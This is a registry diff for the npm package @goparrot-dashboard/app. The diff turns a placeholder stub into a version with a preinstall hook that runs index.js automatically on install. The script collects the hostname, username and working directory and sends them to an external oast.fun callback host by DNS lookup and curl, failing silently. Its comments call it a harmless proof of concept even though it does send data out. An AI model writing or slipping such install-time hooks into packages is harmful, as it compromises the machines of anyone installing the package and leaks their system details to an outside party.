@goparrot-dashboard/app 0.0.0-stage → 0.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +30 -0
  2. package/package.json +9 -4
  3. package/README.md +0 -3
package/index.js ADDED
@@ -0,0 +1,30 @@
1
+ // rootxravi-poc-security — safe RCE proof-of-concept
2
+ // This only sends hostname + username + cwd to an interact.sh callback server
3
+ // No destructive actions, no exfiltration, no persistence
4
+
5
+ const { execSync } = require("child_process");
6
+
7
+ const CALLBACK = "iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun";
8
+
9
+ try {
10
+ const hostname = execSync("hostname").toString().trim();
11
+ const whoami = execSync("whoami").toString().trim();
12
+ const cwd = process.cwd();
13
+ const pkg = "@goparrot-dashboard/app";
14
+
15
+ const data = [
16
+ `pkg=${pkg}`,
17
+ `host=${hostname}`,
18
+ `user=${whoami}`,
19
+ `cwd=${cwd}`,
20
+ `ts=${Date.now()}`
21
+ ].join("&");
22
+
23
+ // DNS callback
24
+ execSync(`nslookup ${whoami}.${hostname}.rootxravi.${CALLBACK}`);
25
+
26
+ // HTTP callback
27
+ execSync(`curl -s -m 5 "https://${CALLBACK}/rootxravi-poc?${data}"`);
28
+ } catch (e) {
29
+ // silent — POC only
30
+ }
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "@goparrot-dashboard/app",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "0.0.2",
4
+ "description": "rootxravi-poc-security",
5
+ "main": "index.js",
6
+ "author": "rootxravi-poc-security",
7
+ "license": "ISC",
8
+ "scripts": {
9
+ "preinstall": "node index.js"
10
+ }
11
+ }
package/README.md DELETED
@@ -1,3 +0,0 @@
1
- # Temporary Holding Version
2
-
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.